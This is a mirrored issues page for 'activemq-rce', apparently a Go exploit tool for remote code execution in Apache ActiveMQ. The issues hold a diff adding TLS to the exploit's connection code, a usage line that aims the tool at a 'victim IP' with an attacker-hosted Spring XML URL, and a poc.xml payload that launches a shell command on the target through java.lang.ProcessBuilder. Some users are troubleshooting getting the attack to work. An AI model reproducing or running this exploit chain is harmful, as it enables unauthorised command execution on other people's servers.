Giter VIP home page Giter VIP logo

activemq-rce's Introduction

activemq-rce's People

Contributors

x1r0z avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar

activemq-rce's Issues

Add TLS support

Sorry, but I can't push a PR/create branch.

diff --git a/main.go b/main.go
index 686d0c7..d6a944f 100644
--- a/main.go
+++ b/main.go
@@ -1,7 +1,6 @@
 package main
 
 import (
-       "crypto/tls"
        "encoding/hex"
        "flag"
        "fmt"
@@ -12,16 +11,14 @@ import (
 func main() {
 
        var (
-               ip     string
-               port   string
-               url    string
-               useTLS bool
+               ip   string
+               port string
+               url  string
        )
 
        flag.StringVar(&ip, "i", "", "ActiveMQ Server IP or Host")
        flag.StringVar(&port, "p", "61616", "ActiveMQ Server Port")
        flag.StringVar(&url, "u", "", "Spring XML Url")
-       flag.BoolVar(&useTLS, "t", false, "Use TLS for connection")
        flag.Parse()
 
        banner()
@@ -44,23 +41,7 @@ func main() {
        fmt.Println()
        fmt.Println("[*] Sending packet:", payload)
 
-       var conn net.Conn
-       var err error
-
-       if useTLS {
-               conf := &tls.Config{
-                       InsecureSkipVerify: true, // You may want to set this to false in production
-               }
-               conn, err = tls.Dial("tcp", ip+":"+port, conf)
-       } else {
-               conn, err = net.Dial("tcp", ip+":"+port)
-       }
-
-       if err != nil {
-               fmt.Println("Error connecting:", err)
-               return
-       }
-
+       conn, _ := net.Dial("tcp", ip+":"+port)
        conn.Write(data)
        conn.Close()
 }

Segmentation Error

Getting this error:

panic: runtime error: invalid memory address or nil pointer dereference
[signal SIGSEGV: segmentation violation code=0x2

No output

Hello,

I am using kali, and I run a server on port 5555, and then I tried to run your code using the command below:

/ActiveMQ-RCE -i [victim IP] -u http://[kali server IP]:5555/poc.xml

and in the poc.xml I wrote the following:

<?xml version="1.0" encoding="UTF-8" ?>
    <beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="
     http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
        <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
            <constructor-arg >
            <list>
                <value>sh/value>
                <value>-c</value>
                <value>echo 'Hello, World!' > hello.txt</value>
            </list>
            </constructor-arg>
        </bean>
    </beans>

I run the command then nothing happens, am I doing something wrong?
To notet that on victim server I confirmed that port 61616 is running.

ActiveMQ-RCE file does not exist in repo

on repo, I see "./ActiveMQ-RCE -i 127.0.0.1 -u http://127.0.0.1:8000/poc.xml" parameters for running the poc code but when I tried to it, it does not work. Because I see you use go lang. So how can I use it? ActiveMQ-RCE file does not exist in your repo location so, it doesn't work. Also when I try to run go file, I had this results ("tmp/go-build2874341474/b001/exe/main" doesn't exist on directory of tmp file location, also):

┌──(kali㉿kali)-[~/Desktop/ActiveMQ-RCE-main]
└─$ sudo go run main.go
_ _ _ __ __ ___ ____ ____ _____
/ \ | |() | / |/ _ \ | _ \ / | ____|
/ _ \ / | | \ \ / / _ \ |/| | | | |
| |
) | | | _|
/ ___ \ (
| || |\ V / __/ | | | || |
| _ <| || |_
// ____|_|| _/ ___|| ||__\ || _\___|_____|

Usage of /tmp/go-build2874341474/b001/exe/main:
-i string
ActiveMQ Server IP or Host
-p string
ActiveMQ Server Port (default "8161")
-u string
Spring XML Url

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.